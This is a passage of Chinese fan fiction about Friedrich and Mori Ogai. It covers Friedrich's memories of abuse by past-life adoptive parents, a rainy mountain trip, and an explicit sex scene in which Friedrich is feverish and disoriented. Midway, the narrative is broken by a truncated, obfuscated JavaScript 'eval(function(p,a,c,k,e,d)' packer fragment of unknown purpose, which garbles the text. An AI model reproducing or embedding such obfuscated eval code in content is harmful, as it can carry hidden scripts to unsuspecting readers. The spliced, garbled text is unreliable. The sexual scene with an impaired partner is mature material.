后来他们还收养了另外的孩子,弗里德里希因此有了两个没有血缘关系的弟弟妹妹,他们学习很好,最好的那个考上了市里最好的高中,成为了弗里德里希的学妹。 多亏了弟弟妹妹,弗里德里希死后也不担心养父母老了没有依靠,来到新的世界也不太怀念逝去的曾经——他前世确实很不快乐。 他早就受够了鞭策和谩骂,而且讨厌那无聊的应试教育。他忘了自己因为没有考满分挨过多少顿竹条,但他总之是挨过的,而他挨打的原因也绝不只有没考满分一条。 他印象很深刻的是,前世他上学出门忘了带伞全身都淋湿了,还不小心摔了一跤,身上都是泥点子,而养母发现他身上湿了,第一句话不是关心,而是:“有没有人看见你这副德行?”,他默默点头,对方就以丢人为由拿竹条抽他,还骂他为什么死性不改总不带伞,但那真的是他有生以来第一次忘记带伞,母亲记错了,不爱带伞的不是他,是妹妹。 从那以后他就时常不带伞,有时候明知会下雨,还是不带伞,就是要淋了雨才舒服。 他其实并不欠曾经的养父母,事实上,他死后,他的保险就生效了,保险公司会赔给养父母一笔足以偿还抚养费的钱,应该能很大程度上缓解家里的经济压力。 他上辈子并不快乐,好在这一世还算自由。他觉得这一世的父母才是真正对他有恩,他们爱他,还给了他梦寐以求的自由,让他可以选择自己想要的人生,他喜欢现在的生活,多好啊,这才是生命,这才叫活着。 …… 回忆起如烟消散的往事,弗里德里希有些感伤。他不是怀念,只是有些难过,却不知道难过从何而来。现在想来,应当是缺少了一句告别,即使他们并不是那种靠血缘和感情联系起来的家人,分离时的告别还是不能少的。 …… 纷飞的思绪一晃而过,弗里德里希只可惜了一秒没人能听他的心事,随即就开始为接下来要做什么而发愁,这个年代的东京没有多少打卡点,他已去过了大多数景点,现在就不知道要去哪玩了。 他给男朋友发短信: 【好无聊,你在忙吗?】 对方回答: 【有点。不过已经快忙完了,你想去哪玩?】 弗里德里希: 【我不是想去哪玩,主要是想听听你的意见,东京有什么我没去过的好玩地方吗?】 对方: 【我想想】 弗里德里希等了半天,对方才说: 【好像没有了,不过我有个主意,要听听吗?】 弗里德里希: 【什么?】 对方: 【我跟家族分割的时候,家里分给我一套宅子,就在东京西郊。不过这其实不重要,重要的是那宅子挺漂亮,在山间,可以沿着山脚下的青石路上去】 弗里德里希: 【是爬山吗?】 对方: 【对,没有缆道或捷径可走,但因为青石路铺的很连续,应该不会迷路】 弗里德里希想了想,有点想玩,他有点好奇那种山间的日式屋子是什么样子。 他们约在周末,其实森鸥外本想把钥匙给他,让他自己去玩,但弗里德里希拒绝一个人出游,理由是一个人就没有趣味了,因此森鸥外还是答应陪他一起去。 电话里,森鸥外无奈地说:“那我们一起去玩两天吧。记得带伞,气象台说要下雨。” 等到了要去的时候,弗里德里希已经将森鸥外的话忘得干干净净。 森鸥外指着阴沉的天空,问:“亲爱的,你没带伞吗?” 弗里德里希装傻充愣:“什么?我只带了帽子,这是你的。” 是的,他带了帽子,甚至还帮森鸥外带了一顶,可就是不带伞。 森鸥外叹了口气,不过在得到弗里德里希亲自挑的遮阳帽之后,他又消气了——好吧,其实本就不怎么生气,弗里德里希总有一种不听话却让人生气不起来的本事。 反正今天也不一定下雨,只是有可能而已,不带伞也没事,反正那个屋子里常备着四五把油纸伞,那是用一种异国工艺制作出来的伞,弗里德里希也许会感兴趣,然后他可以送弗里德里希一把最漂亮的,说不定以后弗里德里希会记得带伞。 两个人结伴而行,本来要打车去的,但弗里德里希还没坐过电车,问森鸥外能不能陪他坐一次,坐电车会麻烦些,森鸥外本想严词拒绝,但嘴却不由自主地说:“好。” “…………”森鸥外就这么坐上了电车,比起直接打车,这样会浪费至少两个小时的时间。 色迷心智啊,色迷心智!森鸥外内心痛心疾首,他不能再这么下去了。 心里虽是这么想着,当电车在某一站停靠,而弗里德里希又被路边的小摊贩吸引了注意力时,他还是认命地下去帮忙买东西了。 等他拿着一根签子插着的麦芽糖回来时,弗里德里希早已等候多时。他接过森鸥外手里的麦芽糖,慢慢舔着吃,望着窗外,也不知在想些什么。 他吃了一半,忽然想起森鸥外似乎只买了一根。他们坐在电车的最后排,现在已经快到终点站了,所以最后几排只有他们两个人,这让弗里德里希生出了一个鬼点子。 “……”弗里德里希拉了森鸥外的袖子一下,对方下意识地转过头来,弗里德里希直接大着胆子亲了他一下,还问:“这下你也尝到了。甜吗?” 森鸥外:“……” 他咳嗽一声:“没尝到,会不会是太快了?” 他们好像只接触了一秒钟。 弗里德里希:“真的?” 他指望着弗里德里希再主动一次,但弗里德里希看了他一眼,把签子上剩下的麦芽糖嘎嘣咬碎了,也没理他。 他有点失望,不过也在意料之中。 电车发动了,开往最后一站,他们就要在那里下车。快到站的时候,他正要提醒弗里德里希下车,弗里德里希又突然凑上来吻了他一下,这下多停顿了两秒,然后又问:“现在呢?我觉得很甜——我是说糖。” 森鸥外:“……一般甜吧。” 其实已经甜得要爆炸了。 原来弗里德里希不止是笑起来很好看,一本正经的亲吻也很吸引人。 两人下了车,结伴到了附近的山脚下。东京虽然大多是高楼大厦,也有群山环绕,他们所在的这座山就是其中之一。 正如森鸥外之前所说,这里铺了连续的青石板,就像路标一样,弗里德里希之前没来过,也不会找不到路。 “……下雨了。”森鸥外感觉有水滴在脸上,抬头一看,肉眼可见的硕大雨滴正加速坠落地面。他们戴了遮阳帽,但挡不住雨水。 九月的东京是湿热的,就像现在,接近三十度的温度,还有豆大的雨水,雨滴砸在脸上,能感觉到明显的力度。 弗里德里希一开始走在前头,后面渐渐地没力气了,于是领头的变成了森鸥外,有力的手臂可以拉着弗里德里希一起上山,但即使他登山素质好,也不免淋了一身,衣服都湿透了。 弗里德里希被雨淋了,也没什么反应,全身湿透了也不说话。他今天好像格外沉默,森鸥外都注意到了,更加紧地抓住他的手,时不时回头看他一眼,有一次不小心对上弗里德里希的眼睛,终于见到了弗里德里希今天的第一个笑: “你的腹肌露出来了喔。” 他低头看了一眼,雨水已经浸湿了衣服,湿透的衣服黏在皮肤上,勾勒出肌肉的轮廓。 “你喜欢?”他又说骚话。 弗里德里希:“你猜?” 话是这么说着,他直接伸出另一只手摸了一下对方的腰。他面上毫无波动,心里却为自己孟浪的举动震惊了一下,但手底的腹肌手感实在好,那点儿震惊又消失了,变成了理直气壮。 森鸥外:“……” ……看来他的腹肌真没白练吧。 不知过了多久,两个人冒着雨一起来到了一个宅子前。 这确实是个挺漂亮的宅子,虽然在山上,但也不显得逼仄。它在山上开辟出了一片范围,用围栏将宅邸与山林隔绝开来,整个宅子只有前后两个门,他们到的是前门。 森鸥外拿出钥匙开了门,弗里德里希看着门锁,说:“它居然不生锈。” 森鸥外:“因为是不锈钢。” “这么古典的宅子,门锁居然是不锈钢的!” “就算是老宅子,也得与时俱进才行。”森鸥外笑了下,“走吧,先换一身衣服。前阵子找人接了电路,还装了热水器,也算没白白搁置。” 弗里德里希走在红木走廊里,发现这宅子整个都是用支架撑起来的,不与湿润的土地接触,如果坐在走廊边上,脚都接触不到土地。 “小心有蛇。”见弗里德里希跃跃欲试,似乎想下去看看,森鸥外就说。 “蛇?!”弗里德里希差点跳起来, “开玩笑的。”森鸥外赶紧改口,“我怎么会带你来有蛇的地方玩。” “你吓我!”弗里德里希指责。 “我的错。”对方从善如流,“毕竟夏天难免会有虫蚁嘛,万一被咬出包就不好了。” …… 森鸥外找了个宽敞的房间给弗里德里希住,说来奇怪,这里许久没人住,倒是整洁,一问森鸥外,对方就说:“会有人定时来打扫和修缮的。” ”噢。“过了一会儿,弗里德里希绕着自己的房间走了几圈,又问,“那你住哪间?” “隔壁。”对方语气带着笑意,调侃地说,“如果怕打雷的话,可以来找我。” 弗里德里希撇嘴:“我才不怕打雷。” 他的脸颊似乎有点红,看起来是爬山爬的。 此时外面已经下起了倾盆大雨,还不时有雷光闪过,伴随着沉闷的雷声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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森鸥外心里已经泪流成河,他真是跳进河里也洗不清了……他的一世清名,他在弗里德里希心里建立的良好形象都毁于一旦了! “……你做出那种表情干什么?”弗里德里希说,“算了,你过来一下。” 森鸥外忐忑地走了过去,弗里德里希抱着胸口的手也松开了,接着,他直接把挂在肩头的浴袍往下一褪,刚冲过热水的皮肤泛着淡淡的红色,就这么展露在森鸥外眼前,松松垮垮的浴袍挂在腰间,几乎只挡住了下半身的关键部位。 “好看吗?”弗里德里希说。他觉得现在好像有点头晕,这种事情也干得出来。 前阵子他总被撩得脸红,现在却已经攻守易形了。 森鸥外:“…………” 好、好奇怪,为什么鼻子有点热?糟糕,流鼻血了! 弗里德里希靠过去,问:“你之前不是很会撩嘛?” 森鸥外:“…………”这种情况还撩,那不就做实了流氓行径吗? “噢,我知道了。”弗里德里希脸红红的,像是喝醉了酒,看起来有点不太对劲,但此时无人觉察。 他自顾自地说着什么知道了,话里却没有后续。 “…………” 空气里安静了一会儿,弗里德里希突然问:“忘带伞是什么很过分的事吗?” “过分?”森鸥外有点摸不着头脑,转念一想,就想到了弗里德里希今天忘了带伞,还以为弗里德里希说的是这事儿,于是就说,“这没什么。” 弗里德里希眼神迷蒙地看着前方:“真的吗?” “你忘带一万次伞我也不会生气的。”森鸥外说。 “为什么?” “我不会因为这种事责备你。” “……你喜欢我吗?” “喜欢。” “那就证明给我看。” 他忽然紧紧地抱住了森鸥外,两个人纠缠着,从地上到了床上。他衣衫不整,上半身几乎裸.露着,身材曲线纤细而流畅,这副模样足以让他的爱慕者露出窘态。 他紧贴着森鸥外,明显感觉到对方起了反应,嘴唇贴在对方耳边,问:“做不做?” …… 他感觉天旋地转,反应过来时已经到了下面。他喜欢的人伏在他身上,他们肌肤相贴,不断传递温热的体温。那真是比雨水温暖太多了。 他从没有和人做过这种事。不过对于一个成年人来说,开这种先例似乎也不算出格,只是过程会有些异样的感觉,他觉得有点胀,有种说不出的难受,陌生的东西入侵到了体内,如同滚烫的烙铁一样煎熬。 “……你身上好热。”对方说,“很热吗?” “……”他说,“有点。” 主要是那东西太烫了,烫得他哆嗦。除此之外,他还有点冷,应该是因为他们没有躲在被子里。 他搂着对方的脖子,不知是疼得,还是难受得,忍不住开始流眼泪,在对方耳边说:“我以后都不带伞了。” 对方还没发现他的泪水,喘息着说:“那我带。” “……” 对方摸了一下他湿湿的脸颊,问:“很难受吗?” “……”他有点呜咽,也有点无力,“……我头有点晕。你在吗?靠近一点,我有点看不清你的脸……” 他睁大了眼睛,靛蓝色的眼珠好像蒙了一层迷雾,整个人迷迷糊糊的。对方这才觉察到他发热的原因,拍了拍他的脸,发现他已经说不出话了,闭着眼睛,长长的睫毛在脸颊投下一片阴影,仿佛做着做着睡熟了,但脸上却通红,很是不同寻常。 他发烧了,淋雨淋得。 …… “……”森鸥外一个激灵退出来,一丁点旖旎的心思都没有了。 他赶紧去接了温水,用温热的毛巾敷额头。又去翻箱倒柜地找退烧药,混着水让弗里德里希咽下去,吃了药之后他也不敢歇,一直在注意病人的体温,折腾了大半夜,才算降了温。 “……真拿你没办法。”他这么说着,擦了擦汗,总算松了一口气,而弗里德里希侧着躺在床上,只露出半个脑袋,其余部位都在被子里,已经睡熟了。